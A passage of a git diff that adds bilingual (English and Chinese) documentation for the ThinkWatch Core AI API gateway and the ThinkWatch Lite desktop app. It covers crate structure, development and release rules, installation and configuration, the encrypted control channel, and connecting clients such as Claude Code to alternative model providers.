configuration are part of the desktop app, not of Core. They change files on the machine the app runs on, which need not be the machine that runs core. Core only issues a client its own gateway key. + +## The single-machine implementation + +The assembly group and the data plane and control plane form the single-machine implementation: SQLite, the local control channel and the optional remote control port. They are intentionally **not** shared. Single-machine SQLite and multi-tenant Postgres differ too much for one abstraction to serve both. + +## Prices in tw-pricing + +`tw-pricing` embeds a pinned snapshot of a public price table, so that a fresh installation and a machine without network access can price requests. At runtime, the control plane refreshes the table once a day unless `pricing.auto_update` is `false`, and whichever copy is newer prices requests. Price sheets in `config.yaml` apply a multiplier, or prices per model, to the upstreams that select them. + +A refresh or an edited price sheet changes the price of later requests, never of those already recorded. Each request stores its cost and where the price came from, so a figure can be explained afterwards. See [The price list](/docs/core/development#the-price-list) for how the snapshot is updated. diff --git a/src/content/docs-core/en/development.md b/src/content/docs-core/en/development.md new file mode 100644 index 0000000..c2abf5b --- /dev/null +++ b/src/content/docs-core/en/development.md @@ -0,0 +1,63 @@ +# Development and tests + +## Running tests + +```bash +cargo test --workspace # unit and integration tests +scripts/smoke.sh # from a clean state, exercise every path on the real binary +``` + +`scripts/smoke.sh` runs the real binary against a real socket and a real data plane, and reaches the control plane through `twcore call`: every control connection starts with a Noise handshake, so `curl` cannot talk to it. The script detects issues that unit tests structurally cannot: file permissions, socket path length limits, unregistered endpoints, and configuration fields that are silently ignored. The project's first four real bugs were all in these areas. + +The smoke script does not modify any user files. `HOME` and `THINKWATCH_HOME` both point to a temporary directory that is deleted on completion. + +Tests that access the live network are marked `#[ignore]` and do not run in CI. + +## Pull request checks + +```bash +cargo fmt --all -- --check +cargo clippy --workspace --all-targets -- -D warnings +cargo test --workspace +./scripts/smoke.sh +``` + +Warnings are treated as errors; relaxing this rule in CI would be equivalent to removing it. The toolchain tracks `stable`, so a stable release newer than the local one may report lints that cannot be reproduced locally. Run `rustup update stable` before investigating a CI failure. + +Pull requests target `main`, the only long-lived branch; a release is a tagged commit on it: + +```bash +gh pr create --base main --head your-branch +``` + +Commit messages follow Conventional Commits (`fix(scope): subject`) and are written in English. The body explains *why*, not only *what*. + +## Mandatory rules + +ThinkWatch Lite and ThinkWatch Enterprise both depend on these crates, so working for a single use case is not sufficient. A pull request that violates any of these rules will be returned for revision, regardless of the quality of the diff: + +- **Never echo a real secret** in the UI, a diff, a log, an event, a diagnostic bundle, or a test fixture. Masking is applied before data leaves the process. +- **Never present an estimate as exact.** Cost has three states: measured, estimated, and no price. Treating the third as 0 makes a total incorrect without any indication. +- **Observation must never block forwarding.** Storage, pricing, and scanning run on bounded channels; when a channel is full, the observation is dropped rather than delaying the request. +- **Any path that bypasses the main pipeline must re-apply its protections.** Replay nearly became a legitimate way to bypass redaction. +- **One door into the control plane.** Every transport (the unix socket, the Windows loopback port and the remote control port) hands its connections to the same handshake before HTTP. The control key never leaves through the control plane and cannot be changed through it. + +## The configuration reference + +The [Configuration reference](/docs/core/configuration) is `docs/config.md` (and `docs/config.zh-CN.md`) in the repository; this site publishes it from the latest release. The text is written by hand, except the field tables and the lists of built-in rules, which are generated from `crates/tw-config/tests/manual/schema.rs`. That file declares every section of `config.yaml` against its Rust type, and a test checks the declaration against the code: field names come from serde itself, declared defaults are parsed and compared with leaving the field out, and the examples in the manual are parsed as configuration. + +After changing a configuration type, add or change its row in both languages and regenerate the tables: + +```bash +UPDATE_CONFIG_DOCS=1 cargo test -p tw-config --test manual +``` + +## The price list + +Prices come in two layers. The default price table is LiteLLM's public dataset: a pinned snapshot is embedded in `crates/tw-pricing`, the update procedure is documented in `crates/tw-pricing/data/PROVENANCE.md`, and a CI test compares the snapshot row by row against the manually verified `data/verified.yaml`. At runtime the control plane refreshes the table once a day, unless `pricing.auto_update: false`, and saves it as `model_prices.json` beside `config.yaml`; whichever copy is newer prices requests. + +Price sheets live in `config.yaml` under `pricing.sheets`: a multiplier over the default table, plus per-model overrides with every field written out. An upstream selects a sheet with `pricing:`; without one, the default table applies. + +## Releases + +A release is a tag `vX.Y.Z` on `main`, after the version in the workspace `Cargo.toml` has been bumped. The release workflow builds `twcore` for macOS on Apple silicon, Windows on x64 and ARM64, and Linux on x86_64 and aarch64, checks each binary, and publishes them together with a `.sha256` file for each; if one target fails, nothing is published. The Linux archives carry the systemd unit and are what the server install script installs; the bare binaries are what ThinkWatch Lite bundles and what `twcore upgrade` downloads. diff --git a/src/content/docs-core/en/overview.md b/src/content/docs-core/en/overview.md new file mode 100644 index 0000000..b8ae450 --- /dev/null +++ b/src/content/docs-core/en/overview.md @@ -0,0 +1,33 @@ +# ThinkWatch Core + +ThinkWatch Core is the gateway engine of the ThinkWatch products: a set of MIT-licensed Rust crates and `twcore`, a self-contained AI API gateway binary. `twcore` is the gateway inside the desktop app, [ThinkWatch Lite](/docs/lite), and also runs on its own as a systemd service on a Linux server. ThinkWatch Enterprise depends on four of the crates: `tw-dialect`, `tw-guard`, `tw-breaker` and `tw-bedrock`. + +## Scope of Core + +Core is a set of crates and one binary, not a desktop application. On a desktop, `twcore` comes with ThinkWatch Lite and is not installed separately. On a server, a single command installs it as a service, and ThinkWatch Lite on macOS, Windows or Linux connects to it; see [Server deployment](/docs/core/server-deployment). [Quick start with twcore](/docs/core/quick-start) covers the prebuilt binaries, building from source and a first configuration. + +A change in Core reaches every product that uses it, so each change follows the rules in [Development and tests](/docs/core/development). + +## What it does + +Clients such as Claude Code and Codex send their requests to the gateway, and Core provides the following: + +- **Rule-based routing.** Rules match on the model, the gateway key, the input size, the presence of tools or images and other properties of a request, and send it to an upstream or a group, rewrite its parameters or refuse it. When the client and the upstream use different API formats, the request is converted between Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini. +- **Failover before the first byte.** Until the first byte reaches the client, a failing upstream is replaced by the next one without the client noticing. After that point, the failure is reported. A circuit breaker keeps requests away from an upstream that keeps failing. +- **Cost accounting.** Token usage and cache hits are priced from a public price table, which the control plane refreshes daily, or from a price sheet in the configuration. Each request records its cost and where the price came from. Estimated amounts are marked as such, and usage that cannot be priced is labelled *unknown* rather than given an invented figure. +- **Outbound redaction.** Credentials and personal information anywhere in a request are replaced with placeholders before the request leaves, and restored when the model echoes them back. +- **Tool-call inspection.** Tool calls returned by an upstream are checked against a rule set, and a dangerous call can be cut off mid-stream. +- **Content filter.** The user messages and tool results a client sends are checked by keyword, regular expression or code point, and each rule refuses the request, deletes what it matched or only records it; the built-in rules also catch hidden characters that can carry instructions. Each of the three guards is set to `off`, `observe` or `enforce`, and all start in `observe`. +- **An encrypted control plane.** The desktop app and `twcore` commands reach core over a local socket (a loopback port on Windows) and, when it is enabled, a remote control port. Every control connection starts with a Noise handshake keyed by `listen.control.key`; there are no certificates. + +## Further reading + +- [Quick start with twcore](/docs/core/quick-start): getting the binary, writing and checking a configuration, and pointing a client at the gateway. +- [Server deployment](/docs/core/server-deployment): running `twcore` as a systemd service on Linux and connecting ThinkWatch Lite to it. +- [Configuration reference](/docs/core/configuration): every field of `config.yaml`. +- [Crate layers](/docs/core/crate-layers): how the crates are grouped, and which of them each product uses. +- [Development and tests](/docs/core/development): tests, the smoke script, releases, and the rules every change follows. + +## License + +ThinkWatch Core is licensed under the MIT License. The source code is available on [GitHub](https://github.com/ThinkWatchProject/ThinkWatch-Core). diff --git a/src/content/docs-core/en/quick-start.md b/src/content/docs-core/en/quick-start.md new file mode 100644 index 0000000..35cc06c --- /dev/null +++ b/src/content/docs-core/en/quick-start.md @@ -0,0 +1,65 @@ +# Quick start with twcore + +`twcore` is the gateway binary built from ThinkWatch Core. ThinkWatch Lite includes it, so a desktop with the app installed already runs one; this page covers running `twcore` on its own. To run it as a service on a Linux server and manage it from ThinkWatch Lite, follow [Server deployment](/docs/core/server-deployment) instead. + +## Get the binary + +Every [release](https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/latest) carries prebuilt binaries, each with a `.sha256` file: + +| Platform | File | +| --- | --- | +| macOS, Apple silicon | `twcore-aarch64-apple-darwin` | +| Windows, x64 | `twcore-x86_64-pc-windows-msvc.exe` | +| Windows, ARM64 | `twcore-aarch64-pc-windows-msvc.exe` | +| Linux, x86_64 | `twcore-x86_64-unknown-linux-gnu`, and a `.tar.gz` that adds the systemd unit | +| Linux, aarch64 | `twcore-aarch64-unknown-linux-gnu`, and a `.tar.gz` that adds the systemd unit | + +Download the file for the platform, check it against its `.sha256` file, and install it on the `PATH` as `twcore`. The Linux builds need glibc 2.35 or newer (Ubuntu 22.04, Debian 12 or later). + +On a Linux server, the install script does this in one step, and also creates a service user and the systemd unit: + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh +``` + +To build from source instead, with a stable Rust toolchain (1.94.1 or newer): + +```sh +git clone https://github.com/ThinkWatchProject/ThinkWatch-Core.git +cd ThinkWatch-Core +cargo build --release -p twcore # writes target/release/twcore +``` + +In a checkout, `cargo run -p twcore -- ` runs any of the commands below without installing anything. + +## Write, check, and serve a configuration + +```sh +twcore init # write an initial config.yaml with a gateway key and the control key +twcore check # validate the configuration without starting anything +twcore serve # start the gateway and the control plane +``` + +The configuration is `~/.thinkwatch/config.yaml`, or `%APPDATA%\ThinkWatch\config.yaml` on Windows; `THINKWATCH_HOME` moves the directory, and `--config ` names the file for a single command. `twcore init` prints the gateway key it generated; `twcore serve` writes a starting configuration of its own when there is none. + +The starting configuration has no upstream: the control plane runs, and requests are answered with an error saying that no upstream is configured. Adding one makes the gateway forward: + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +`${NAME}` reads an environment variable of the `twcore` process. A running core reloads the file within a second of a save; a version that does not validate is refused, and the previous configuration keeps serving. Every field is described in the [Configuration reference](/docs/core/configuration). + +## Connect a client + +The gateway listens on `127.0.0.1:8788` by default (`listen.gateway` in the configuration). A client needs two settings: the gateway's address as its base URL, and a gateway key from `clients` as its API key. + +- **Anthropic-format clients** use `http://127.0.0.1:8788`. For Claude Code, set `ANTHROPIC_BASE_URL=http://127.0.0.1:8788` and `ANTHROPIC_AUTH_TOKEN` to the gateway key. +- **OpenAI-format clients** use `http://127.0.0.1:8788/v1`, with the gateway key as the API key. + +ThinkWatch Lite points Claude Code, Codex and other supported clients at the gateway from its Clients page; see the [ThinkWatch Lite documentation](/docs/lite). The fields of a gateway key, such as the models it may use and the route it takes, are described under [`clients`](/docs/core/configuration#clients) in the configuration reference. + +Core then routes each request by the configured rules, fails over between upstreams, prices usage, redacts credentials in outbound requests and inspects the tool calls in responses. Each capability is described in the [Overview](/docs/core#what-it-does). diff --git a/src/content/docs-core/zh-CN/crate-layers.md b/src/content/docs-core/zh-CN/crate-layers.md new file mode 100644 index 0000000..20a9e3a --- /dev/null +++ b/src/content/docs-core/zh-CN/crate-layers.md @@ -0,0 +1,53 @@ +# crate 分层 + +ThinkWatch Core 由十七个 crate 和一个二进制 `twcore` 组成。工作区把这些 crate 分为两部分:ThinkWatch 企业版依赖的四个 crate,以及 `twcore` 所运行网关的其余 crate(ThinkWatch 企业版不使用)。第二部分再按职责分组。 + +``` +tw-dialect · tw-guard · tw-breaker · tw-bedrock ← 与 ThinkWatch 企业版共用 +tw-types · tw-engine · tw-pricing · tw-yaml · tw-secret · tw-watch ← 领域逻辑 +tw-api · tw-link ← 控制面契约 +tw-config · tw-store · tw-observe ← 装配 +tw-gateway · tw-control ← 数据面 / 控制面 +``` + +任何 crate 都不依赖排在其所在组下方的组。 + +| 分组 | crate | 作用 | +| --- | --- | --- | +| 与 ThinkWatch 企业版共用 | `tw-dialect` | 请求、响应与流在 Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 与 Gemini 之间的转换;用量解析 | +| | `tw-guard` | 出站脱敏与还原、上游返回的工具调用审查与内容过滤,以及这三项防护的设置、内置规则、校验、规则列表与测试 | +| | `tw-breaker` | 熔断器状态机 | +| | `tw-bedrock` | Amazon Bedrock 的线上协议:SigV4 签名、事件流拆帧、接口地址与模型目录 | +| 领域逻辑 | `tw-types` | 面向用户的消息:稳定的消息码、参数与英文句子 | +| | `tw-engine` | 路由规则引擎与策略组 | +| | `tw-pricing` | 公开价目表、自定义价目表,以及实测、估算、无法计价三种状态的费用 | +| | `tw-yaml` | 对 YAML 文本做最小改动,保留注释与排版 | +| | `tw-secret` | 环境变量插值、由命令提供的凭据,以及密钥遮蔽 | +| | `tw-watch` | 目录监视,一连串改动只发一次信号 | +| 控制面契约 | `tw-api` | 控制面的请求与响应类型,以及客户端 | +| | `tw-link` | 控制通道的握手与加密(Noise `NNpsk0`) | +| 装配 | `tw-config` | 配置的结构、加载与校验 | +| | `tw-store` | 基于 SQLite 与文件系统的请求历史和运行状态 | +| | `tw-observe` | 事件总线 | +| 数据面 / 控制面 | `tw-gateway` | 网关的 HTTP 服务 | +| | `tw-control` | 控制面 API,经 unix socket、Windows 回环端口与可选的远程控制端口提供 | + +## 与 ThinkWatch 企业版共用 + +ThinkWatch 企业版只依赖第一组:格式转换与用量解析(`tw-dialect`)、各项防护及其规则(`tw-guard`)、熔断器(`tw-breaker`)与 Amazon Bedrock 的线上协议(`tw-bedrock`)。这四个 crate 只依赖彼此,`tw-dialect` 中的一项测试保证这一点;每次改动它们,CI 都会用 ThinkWatch 企业版编译一遍。只有一个产品使用的组件放在该产品自己的仓库中,不留在 Core。 + +## ThinkWatch Lite 使用的部分 + +ThinkWatch Lite 内置 Core 发布版本中的 `twcore` 二进制,并从同一 tag 编译 `tw-api`、`tw-link`、`tw-types`、`tw-yaml`、`tw-guard` 与 `tw-watch`:应用与二进制使用同一套控制面协议,两者必须出自同一个提交。 + +让 AI 客户端改用网关、编辑其 MCP 服务器、扫描其配置,都属于桌面应用而非 Core:这些操作修改的是应用所在机器上的文件,而这台机器不一定运行 core。Core 只负责为客户端签发专属的网关密钥。 + +## 单机实现 + +装配组以及数据面与控制面组构成单机实现:SQLite、本地控制通道与可选的远程控制端口。它们**有意不共享**:单机 SQLite 与多租户 Postgres 差异过大,统一的抽象难以同时满足两者。 + +## tw-pricing 中的价目表 + +`tw-pricing` 内嵌一份固定的公开价目表快照,使新安装的实例与无法联网的机器也能计价。运行时,控制面每天刷新一次价目表(`pricing.auto_update` 为 `false` 时不刷新),两份价目表中较新的一份用于计价。`config.yaml` 中的自定义价目表可为选用它的上游设置倍率或逐个模型的价格。 + +刷新价目表或修改自定义价目表,只影响此后的请求,不改变已记录的请求。每个请求都保存其费用与价格来源,事后可据此解释数字。快照的更新方式见[价目表](/zh-CN/docs/core/development#价目表)。 diff --git a/src/content/docs-core/zh-CN/development.md b/src/content/docs-core/zh-CN/development.md new file mode 100644 index 0000000..bfa71fe --- /dev/null +++ b/src/content/docs-core/zh-CN/development.md @@ -0,0 +1,63 @@ +# 开发与测试 + +## 运行测试 + +```bash +cargo test --workspace # 单元与集成测试 +scripts/smoke.sh # 从初始状态出发,在真实二进制上覆盖每条路径 +``` + +`scripts/smoke.sh` 使用真实的二进制、socket 与数据面运行,并通过 `twcore call` 访问控制面:每条控制连接都先进行 Noise 握手,`curl` 无法直接访问。它可发现单元测试在结构上无法覆盖的问题:文件权限、socket 路径长度限制、未注册的端点,以及被静默忽略的配置字段。本项目最早的四个真实缺陷均出自这些环节。 + +冒烟脚本不会修改用户的任何文件:`HOME` 与 `THINKWATCH_HOME` 均指向临时目录,执行结束后自动删除。 + +访问真实网络的测试标记为 `#[ignore]`,不在 CI 中运行。 + +## 提交 PR 前的检查 + +```bash +cargo fmt --all -- --check +cargo clippy --workspace --all-targets -- -D warnings +cargo test --workspace +./scripts/smoke.sh +``` + +警告视为错误,在 CI 上放宽该规则即等同于取消该规则。工具链为 `stable`,若其版本新于本地工具链,可能报告本地无法复现的 lint;排查 CI 问题前,请先执行 `rustup update stable`。 + +PR 提交至 `main`,这是唯一的长期分支;发布版本即其上打了 tag 的提交: + +```bash +gh pr create --base main --head your-branch +``` + +提交信息遵循 Conventional Commits(`fix(scope): subject`),以英文书写。正文应说明*原因*,而不仅是*改动内容*。 + +## 强制规则 + +ThinkWatch Lite 与 ThinkWatch 企业版都依赖这些 crate,因此仅满足单一场景并不足够。违反以下任何一条规则的 PR 都将被要求修改,无论 diff 质量如何: + +- **禁止回显真实密钥**:界面、diff、日志、事件、诊断包与测试夹具中均不得出现。遮蔽在数据离开进程之前完成。 +- **禁止将估算值作为精确值呈现。** 费用有三种状态:实测、估算、无价格。将第三种视为 0 会导致合计在无任何提示的情况下出错。 +- **观测不得阻塞转发。** 存储、计价与扫描均通过有界通道执行;通道已满时丢弃该次观测,而不延迟请求。 +- **任何绕过主流水线的路径都必须重新施加其保护措施。** 重放功能曾险些成为绕过脱敏的合法途径。 +- **控制面只有一个入口。** 每种传输方式(unix socket、Windows 回环端口与远程控制端口)都先把连接交给同一套握手,之后才进入 HTTP。控制密钥不会经控制面流出,也无法经控制面修改。 + +## 配置手册 + +[配置手册](/zh-CN/docs/core/configuration)即仓库中的 `docs/config.zh-CN.md`(英文版为 `docs/config.md`),本站从最新的发布版本取用。正文由人工撰写,字段表与内置规则列表则由 `crates/tw-config/tests/manual/schema.rs` 生成。该文件按 Rust 类型声明 `config.yaml` 的每一节,并由测试对照代码检查这份声明:字段名取自 serde 本身,声明的默认值会被解析并与省略该字段的效果比较,手册中的示例也会作为配置解析。 + +修改配置类型后,须同时补充或修改中英文两份说明,再重新生成字段表: + +```bash +UPDATE_CONFIG_DOCS=1 cargo test -p tw-config --test manual +``` + +## 价目表 + +价格分两层。默认价目表是 LiteLLM 的公开数据集:`crates/tw-pricing` 内嵌一份固定快照,更新步骤记录于 `crates/tw-pricing/data/PROVENANCE.md`,CI 中的测试会将快照与人工核对的 `data/verified.yaml` 逐行比对。运行时,控制面每天刷新一次(`pricing.auto_update: false` 时不刷新),并保存为 `config.yaml` 旁的 `model_prices.json`;两份中较新的一份用于计价。 + +自定义价目表写在 `config.yaml` 的 `pricing.sheets` 下:在默认价目表之上乘一个倍率,外加逐个模型写全各项价格的覆盖。上游用 `pricing:` 选择一张价目表;未选择时使用默认价目表。 + +## 发布 + +发布版本是 `main` 上的一个 `vX.Y.Z` tag,打 tag 前须先提升工作区 `Cargo.toml` 中的版本号。发布流程为 Apple silicon 的 macOS、x64 与 ARM64 的 Windows、x86_64 与 aarch64 的 Linux 构建 `twcore`,逐一检查后连同各自的 `.sha256` 文件一并发布;任何一个目标构建失败,则什么都不发布。Linux 压缩包另含 systemd 服务单元,供服务器安装脚本使用;单独的二进制文件由 ThinkWatch Lite 打包,也由 `twcore upgrade` 下载。 diff --git a/src/content/docs-core/zh-CN/overview.md b/src/content/docs-core/zh-CN/overview.md new file mode 100644 index 0000000..cf18ec0 --- /dev/null +++ b/src/content/docs-core/zh-CN/overview.md @@ -0,0 +1,33 @@ +# ThinkWatch Core + +ThinkWatch Core 是 ThinkWatch 各产品共用的网关引擎,由一组采用 MIT 许可证的 Rust crate 和独立运行的 AI API 网关二进制 `twcore` 组成。`twcore` 是桌面应用 [ThinkWatch Lite](/zh-CN/docs/lite) 内置的网关,也可以作为 systemd 服务独立运行在 Linux 服务器上。ThinkWatch 企业版依赖其中的四个 crate:`tw-dialect`、`tw-guard`、`tw-breaker` 与 `tw-bedrock`。 + +## Core 的定位 + +Core 是一组 crate 和一个二进制,而非桌面应用。在桌面上,`twcore` 随 ThinkWatch Lite 提供,无需单独安装;在服务器上,一条命令即可将其安装为服务,再由 macOS、Windows 或 Linux 上的 ThinkWatch Lite 连接,见[服务器部署](/zh-CN/docs/core/server-deployment)。预编译二进制、从源码构建与初始配置见 [twcore 快速入门](/zh-CN/docs/core/quick-start)。 + +Core 中的改动会影响所有使用它的产品,因此每个改动都须遵守[开发与测试](/zh-CN/docs/core/development)中的规则。 + +## 功能 + +Claude Code、Codex 等客户端把请求发往网关后,Core 提供以下功能: + +- **按规则路由。** 规则按模型、网关密钥、输入规模、是否携带工具或图片等请求属性匹配,将请求发往某个上游或策略组、改写其参数,或拒绝请求。客户端与上游的接口格式不同时,请求在 Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 与 Gemini 之间转换。 +- **首字节前的故障转移。** 首字节到达客户端之前,出错的上游由下一个上游替换,客户端无从察觉;此后发生的故障如实报告。熔断器使持续出错的上游暂不接收请求。 +- **费用核算。** token 用量与缓存命中按公开价目表计价(控制面每天刷新一次),或按配置中的价目表计价;每个请求都记录费用及价格来源。估算的金额另行标注,无法计价的用量标记为「未知」,不会填入虚构的数值。 +- **出站脱敏。** 请求发出之前,其中任何位置的凭据和个人信息替换为占位符;模型回显时再恢复原值。 +- **工具调用审查。** 上游返回的工具调用按规则集审查,高危调用可在流式传输中途截断。 +- **内容过滤。** 客户端发送的用户消息和工具结果按关键词、正则表达式或码位检查,每条规则可拒绝请求、删除命中的内容或仅记录;内置规则也能查出可夹带指令的隐藏字符。三项防护各可设为 `off`、`observe` 或 `enforce`,出厂均为 `observe`。 +- **加密的控制面。** 桌面应用与 `twcore` 命令通过本地 socket(Windows 上为回环端口)连接 core,开启后也可经远程控制端口连接。每条控制连接都先以 `listen.control.key` 完成 Noise 握手,不使用证书。 + +## 后续阅读 + +- [twcore 快速入门](/zh-CN/docs/core/quick-start):获取二进制,生成并校验配置,将客户端指向网关。 +- [服务器部署](/zh-CN/docs/core/server-deployment):在 Linux 上以 systemd 服务运行 `twcore`,并由 ThinkWatch Lite 连接。 +- [配置手册](/zh-CN/docs/core/configuration):`config.yaml` 的每个字段。 +- [crate 分层](/zh-CN/docs/core/crate-layers):crate 的分组方式,以及各产品分别使用哪些 crate。 +- [开发与测试](/zh-CN/docs/core/development):测试、冒烟脚本、发布流程,以及每个改动都须遵守的规则。 + +## 许可证 + +ThinkWatch Core 采用 MIT 许可证,源码托管于 [GitHub](https://github.com/ThinkWatchProject/ThinkWatch-Core)。 diff --git a/src/content/docs-core/zh-CN/quick-start.md b/src/content/docs-core/zh-CN/quick-start.md new file mode 100644 index 0000000..075c80e --- /dev/null +++ b/src/content/docs-core/zh-CN/quick-start.md @@ -0,0 +1,65 @@ +# twcore 快速入门 + +`twcore` 是由 ThinkWatch Core 构建的网关二进制。ThinkWatch Lite 已内置它,安装了应用的桌面无需另装;本文介绍如何单独运行 `twcore`。如需在 Linux 服务器上将其作为服务运行、由 ThinkWatch Lite 远程管理,请参阅[服务器部署](/zh-CN/docs/core/server-deployment)。 + +## 获取二进制 + +每个[发布版本](https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/latest)都提供预编译二进制,各附一个 `.sha256` 文件: + +| 平台 | 文件 | +| --- | --- | +| macOS,Apple silicon | `twcore-aarch64-apple-darwin` | +| Windows,x64 | `twcore-x86_64-pc-windows-msvc.exe` | +| Windows,ARM64 | `twcore-aarch64-pc-windows-msvc.exe` | +| Linux,x86_64 | `twcore-x86_64-unknown-linux-gnu`,以及另含 systemd 服务单元的 `.tar.gz` | +| Linux,aarch64 | `twcore-aarch64-unknown-linux-gnu`,以及另含 systemd 服务单元的 `.tar.gz` | + +下载对应平台的文件,用其 `.sha256` 文件校验,再以 `twcore` 为名放入 `PATH`。Linux 版本需要 glibc 2.35 或更新(Ubuntu 22.04、Debian 12 及以后)。 + +在 Linux 服务器上,安装脚本一步完成上述操作,并创建服务用户与 systemd 服务单元: + +```sh +curl -fsSL https://raw.githubusercontent.com/ThinkWatchProject/ThinkWatch-Core/main/scripts/install.sh | sudo sh +``` + +如需从源码构建,需要 Rust 稳定版工具链(1.94.1 或更新): + +```sh +git clone https://github.com/ThinkWatchProject/ThinkWatch-Core.git +cd ThinkWatch-Core +cargo build --release -p twcore # 生成 target/release/twcore +``` + +在仓库的检出目录中,`cargo run -p twcore -- <命令>` 无需安装即可运行下文的各条命令。 + +## 生成、校验并启动配置 + +```sh +twcore init # 生成初始的 config.yaml,其中含一把网关密钥与控制密钥 +twcore check # 仅校验配置,不启动任何服务 +twcore serve # 启动网关与控制面 +``` + +配置文件为 `~/.thinkwatch/config.yaml`,Windows 上为 `%APPDATA%\ThinkWatch\config.yaml`;`THINKWATCH_HOME` 可更换整个目录,`--config <路径>` 为单条命令指定文件。`twcore init` 会输出它生成的网关密钥;没有配置文件时,`twcore serve` 也会自行写入一份初始配置。 + +初始配置中没有上游:控制面照常运行,请求会得到「尚未配置上游」的错误。添加一个上游即可转发: + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +`${NAME}` 读取 `twcore` 进程的环境变量。运行中的 core 在文件保存后一秒内重新加载;未通过校验的版本会被拒绝,原有配置继续服务。每个字段的说明见[配置手册](/zh-CN/docs/core/configuration)。 + +## 接入客户端 + +网关默认监听 `127.0.0.1:8788`(配置中的 `listen.gateway`)。客户端需要两项设置:以网关地址作为 base URL,以 `clients` 中的一把网关密钥作为 API 密钥。 + +- **Anthropic 格式的客户端**使用 `http://127.0.0.1:8788`。以 Claude Code 为例:设置 `ANTHROPIC_BASE_URL=http://127.0.0.1:8788`,并将 `ANTHROPIC_AUTH_TOKEN` 设为网关密钥。 +- **OpenAI 格式的客户端**使用 `http://127.0.0.1:8788/v1`,API 密钥填网关密钥。 + +ThinkWatch Lite 可在客户端页将 Claude Code、Codex 等受支持的客户端指向网关,见 [ThinkWatch Lite 文档](/zh-CN/docs/lite)。网关密钥的各个字段(如允许使用的模型、所走的路由)见配置手册中的 [`clients`](/zh-CN/docs/core/configuration#clients) 一节。 + +此后 Core 将按配置的规则路由每个请求、在上游之间执行故障转移、计算费用、对出站请求中的凭据进行脱敏,并审查响应中的工具调用。各项功能说明见[概览](/zh-CN/docs/core#功能)。 diff --git a/src/content/docs-lite/en/architecture.md b/src/content/docs-lite/en/architecture.md new file mode 100644 index 0000000..2b9f4aa --- /dev/null +++ b/src/content/docs-lite/en/architecture.md @@ -0,0 +1,43 @@ +# Architecture + +ThinkWatch Lite is an interface to the gateway, not the gateway itself. + +## Repository layout + +``` +src/ React 19 + Tailwind 4 frontend +src-tauri/ Tauri 2 shell: supervises core, renders the menu bar and the tray +src-tauri/crates/ client setup (tw-adopt) and the configuration scan (tw-scan) +``` + +- **`src-tauri/`** is the Tauri 2 shell. It starts ThinkWatch Core and supervises it: a core that exits is restarted, and after repeated failed starts it runs in a safe mode in which only its control plane is up, so that configuration, history and rollback stay available. The shell renders the menu bar on macOS, the notification-area icon and menu on Windows, and the tray icon and menu on Linux, and it delivers system notifications. Launch at login starts the app, which then starts core; core is not registered on its own. +- **`src-tauri/crates/`** holds `tw-adopt`, which points clients at the gateway and restores them, and `tw-scan`, which scans client configuration for the MCP page. Both act on the computer the app runs on, also while the app is connected to a core on a server. +- **`src/`** is the frontend, written in React 19 and Tailwind 4. + +## Lite and Core + +The gateway is implemented in [ThinkWatch Core](/docs/core). This repository contains no routing, forwarding, or accounting logic. + +Routing, forwarding, cost accounting, and redaction are the responsibility of Core. Changes to behaviour on the data path belong in the [ThinkWatch Core repository](https://github.com/ThinkWatchProject/ThinkWatch-Core). + +## Control channel + +Lite reads and changes everything through Core's control API. How it reaches Core depends on where Core runs: + +| Where Core runs | Channel | +|---|---| +| The same computer, on macOS or Linux | A unix socket in the data directory | +| The same computer, on Windows | A loopback TCP port | +| A server | The server's remote control port, over TCP | + +Every channel carries the same HTTP API inside a Noise handshake, `Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`, whose pre-shared key is `listen.control.key` in Core's `config.yaml`. The handshake encrypts and authenticates the connection in both directions; a program that can reach the socket or the port but does not hold the key cannot control Core. There is no TLS and no certificate. Versions are exchanged in the handshake, and a connection between an app and a core whose versions do not match is refused. + +For the core it starts, the app reads the key from the local `config.yaml`. For a core on a server, the key is entered once when the connection is added and kept in a file in the app's data directory that only the current user can read. See [Connecting to a remote core](/docs/lite/remote-core). + +## What the UI must not do + +The following rules are mandatory. A change that violates any of them will be returned for revision: + +- **Never display a real secret** in the UI, a diff, a log, an event, or a diagnostic bundle. Masking is applied before data leaves the process. +- **Never present an estimate as exact.** Measured, estimated, and unpriced costs remain three separate figures. A fabricated precise figure is more harmful than an explicit "unknown". +- **Never delete a user's file or configuration without first showing the diff.** Every destructive action uses the app's own confirmation UI, never a browser `confirm`. diff --git a/src/content/docs-lite/en/claude-code-other-models.md b/src/content/docs-lite/en/claude-code-other-models.md new file mode 100644 index 0000000..7bb459a --- /dev/null +++ b/src/content/docs-lite/en/claude-code-other-models.md @@ -0,0 +1,43 @@ +# Use Claude Code with GLM, DeepSeek or Kimi + +ThinkWatch Lite connects Claude Code to a gateway on the same computer, which forwards each request to an upstream that serves the model asked for. A GLM, DeepSeek or Kimi model is either named in Claude Code, with `/model` or the model variables in `settings.json`, or reached by a routing rule that rewrites Claude's model names to it. All three providers offer an Anthropic-compatible address, so Claude Code's requests reach them without format conversion. + +## Before you start + +- ThinkWatch Lite, [installed](/docs/lite/install/), and Claude Code, run at least once. +- An API key from the provider. For GLM, a Z.ai or BigModel account with a GLM Coding Plan can sign in from the app instead. +- A Claude Pro or Max sign-in cannot serve as an upstream; once connected, Claude Code uses its gateway key instead. + +## Steps + +1. On the Upstreams page, choose **New upstream**. The first step, **Service**, lists the services in three groups, with a search box; picking one goes straight to **Connection**, which asks only for what that service needs: + - **DeepSeek** fills in `https://api.deepseek.com/anthropic` and the protocol. Enter the **API key**. + - GLM with a key: **Z.ai / BigModel**. Choose the **Site**, **BigModel (mainland China)** or **Z.ai (international)**, which sets the Anthropic-compatible address, and enter the **API key**. GLM's OpenAI-compatible address also works from ThinkWatch Lite 2026.10.5, with **Custom** and **Protocol** set to **OpenAI Chat Completions**: `https://api.z.ai/api/paas/v4` or `https://open.bigmodel.cn/api/paas/v4`, and `…/api/coding/paas/v4` on a GLM Coding Plan. Claude Code's requests are then converted, so the Anthropic address is the more direct choice. + - GLM 